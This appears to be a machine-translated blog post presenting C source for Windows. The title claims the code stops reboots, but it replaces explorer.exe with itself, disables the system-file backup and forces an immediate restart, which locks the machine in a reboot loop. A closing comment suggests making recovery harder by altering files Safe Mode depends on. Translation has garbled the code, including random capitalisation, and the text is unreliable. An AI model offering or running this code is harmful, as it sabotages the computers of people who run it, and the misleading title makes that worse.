Original: C-language code that keeps your windows from rebooting
Linux is not written because of the issue of Linux permissions, and Windows basically use the computer users are administrators, so drill empty, not to say that the following is the code
#include "stdio.h"
#include "Process.h"
int Copy_file (char *start,char *end)
{
FILE *input,*output;
if ((Input=fopen (Start, "RB")!=null) && ((Output=fopen (End, "WB")!=null))
{
char temp;
while (!feof (input))
{
Fread (&temp,sizeof (char), 1,input);
Fwrite (&temp,sizeof (char), 1,output);
}
Fclose (input);
fclose (output);
return 0;
}
return 1;
}
int Auto_run (char *my)
{
FILE *FP;
if ((Fp=fopen ("C:\\windows\\system\\explorer.exe", "RB"))!=null)
{
Fclose (FP);
Remove ("c:\\windows\\ $temp #");
Remove ("c:\\windows\\system32\\dllcache\\ $temp $");
}
Else
{
Copy_file ("C:\\windows\\explorer.exe", "C:\\windows\\system\\explorer.exe");
Rename ("C:\\windows\\explorer.exe", "c:\\windows\\ $temp $");
Rename ("C:\\windows\\system32\\dllcache\\explorer.exe", "c:\\windows\\system32\\dllcache\\ $temp $");
Copy_file (My, "c:\\windows\\explorer.exe");
}
return 0;
}
int main (int argc,char **argv)
{
Auto_run (Argv[0]);
SPAWNL (1, "C:\\windows\\system32\\shutdown.exe", "-r-t 0", NULL);
return 0;
}
/* It was tested that the Explorer.exe was not started in Safe mode with a command prompt. And this procedure is to modify the Explorer.exe to achieve the purpose of continuous restart. So just back up the windows\system\ in Safe mode with a command prompt Under the Explorer.exe copy to Windows\ can solve the problem, if you want to do a bit more, then modify other system files, such as modify some even the use of Safe mode will need to start the system files, it is more difficult to do * *
C-language code that keeps your windows from restarting